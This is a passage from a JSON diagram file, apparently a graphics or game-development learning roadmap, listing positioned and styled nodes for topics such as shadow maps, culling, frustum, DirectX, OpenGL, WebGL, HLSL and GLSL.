-518.5116185559558,\n        \"y\": 1581.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Parallax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1581.952242669871\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9cBOfj58I4hBlxlQIyV9g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1634.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Horizon\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.5116185559558,\n        \"y\": 1634.952242669871\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1RdyzTI_TXqmct2bIbNh9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -129.0221800907267,\n        \"y\": 998.6993653585232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computer Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -129.0221800907267,\n        \"y\": 998.6993653585232\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WK6fLWJq9Vh2ySVrSqd-U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1051.6993653585232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Color\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1051.6993653585232\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1S1qPogijW2SQCiF7KLZe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1104.6993653585232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visual Perception\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1104.6993653585232\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RgC9TOc0wbr2QSuvrpIDV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1157.6993653585232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tone Reproduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -129.0221800907267,\n        \"y\": 1157.6993653585232\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lNKSnx79jCQW0AM1bFITr\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -452.07124610794176,\n        \"y\": 947.7235652019866\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\",\n          \"strokeWidth\": 4\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -452.07124610794176,\n        \"y\": 947.7235652019866\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"bEF-DIgaMpKyRTw2uAB8R\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -453.40430753953456,\n        \"y\": 911.7235652019866\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Getting deeper\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -453.40430753953456,\n        \"y\": 911.7235652019866\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"DDN3mn0LTueBhjRzXFcbU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.39905342267605,\n        \"y\": 1145.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lighting and Shadow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.39905342267605,\n        \"y\": 1145.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ygtru6fqQ3gpFZRN_I8rP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 216.131124908341,\n        \"y\": 1198.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shadow Map\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 216.131124908341,\n        \"y\": 1198.5450031343512\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wq8siopWTD7sylNi0575X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 216.131124908341,\n        \"y\": 1251.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"2D\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 216.131124908341,\n        \"y\": 1251.5450031343512\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cv1-AwewuqJsZDBI3h84G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 270.131124908341,\n        \"y\": 1251.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cube\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 270.131124908341,\n        \"y\": 1251.5450031343512\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lu38SfZ38y89BffLRMmGk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 216.131124908341,\n        \"y\": 1304.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cascaded\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 216.131124908341,\n        \"y\": 1304.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VLrcBE1vb6N5fw5YESCge\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1198.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Light Source\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1198.5450031343512\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"foD8K7V0yIxgeXwl687Bv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1251.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Directional\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1251.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aNhyXWW2b7yKTv8y14zk9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 478.7557147875399,\n        \"y\": 1304.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Point\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 478.7557147875399,\n        \"y\": 1304.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FetbhcK1RDt4izZ6NEUEP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 478.7557147875399,\n        \"y\": 1251.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 478.7557147875399,\n        \"y\": 1251.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sC3omOmL2DOyTSvET5cDa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1304.5450031343512\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infinite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.7557147875399,\n        \"y\": 1304.5450031343512\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OcxesFnB5wO6VXrHYnhz-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.4111613103055,\n        \"y\": 1373.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visibility and Occlusion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.4111613103055,\n        \"y\": 1373.480291360171\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MlLYqO_8JDNOwKRvaM-bf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.196019138284,\n        \"y\": 1426.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Occluder\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.196019138284,\n        \"y\": 1426.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1gdDeUPBRco10LpOxug4k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.67908982464064,\n        \"y\": 1426.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Culling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 329.67908982464064,\n        \"y\": 1426.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xP_VDMu1z9jiVnZaBFKJQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1426.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Clipping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1426.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2ocwC0P1-ZFmjA9EmA1lV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 219.196019138284,\n        \"y\": 1479.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.196019138284,\n        \"y\": 1479.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UcLGWYu41Ok2NYdLNIY5C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1479.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frustum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1479.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_1LkU258hzizSIgXipE0b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1532.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Light\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1532.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lqfW8hkuN3vWtacrqBBtI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1585.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shadow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 330.8563765666081,\n        \"y\": 1585.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-r15srXTBLnUGokpXKclH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1479.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Polygon\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1479.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GHfLMtgmc36OCvjQvW_Su\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1532.480291360171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Polyhedron\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 423.6790898246407,\n        \"y\": 1532.480291360171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AEAVc8Ih4fctSGGVJG0Np\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 376.39009638382095,\n        \"y\": 1070.9347422218125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stencil Shadow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 376.39009638382095,\n        \"y\": 1070.9347422218125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5ZdQrL9tPyQ4Ho1hecKLD\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 188.10474936274625,\n        \"y\": 1143.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"-QCv_s22wvTQ-OeQYgBUA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 509,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 509\n      },\n      \"positionAbsolute\": {\n        \"x\": 188.10474936274625,\n        \"y\": 1143.952242669871\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 509\n      }\n    },\n    {\n      \"id\": \"Kx7O7RLp7aPGtOvK8e314\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -227.23195037554086,\n        \"y\": 1469.952242669871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graphics API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CDYszS1U4v95GozB_drbt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 321,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -227.23195037554086,\n        \"y\": 1469.952242669871\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bgWFV09AtDv1yJS5t0EaB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -173.58852226085975,\n        \"y\": 1392.283891636011\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DirectX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"yPfhJSTFS7a72UcqF1ROK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -173.58852226085975,\n        \"y\": 1392.283891636011\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ffa5-YxRhE3zhWg7KXQ4r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -89.58852226085975,\n        \"y\": 1392.283891636011\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenGL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"yPfhJSTFS7a72UcqF1ROK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -89.58852226085975,\n        \"y\": 1392.283891636011\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CeydBMwckqKll-2AgOlyd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -40.415232321660085,\n        \"y\": 1594.409509249386\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WebGL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"oEznLciLxZJaulMlBGgg4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -40.415232321660085,\n        \"y\": 1594.409509249386\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wYUDJb-q1rtM4w2QV3Wr1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -173.58852226085975,\n        \"y\": 1339.283891636011\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HLSL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -173.58852226085975,\n        \"y\": 1339.283891636011\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j8mWMFMQCEIPUzegDDsm1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -89.58852226085975,\n        \"y\": 1339.4861622120663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GLSL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DvV32n3NoXNEej8Fsqqs2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -89.58852226085975,\n        \"y\": 1339.4861622120663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EVOiWAeZsIvjLTt3EYu-6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -125.40723871612443,\n        \"y\": 1541.409509249386\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenGL ES\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        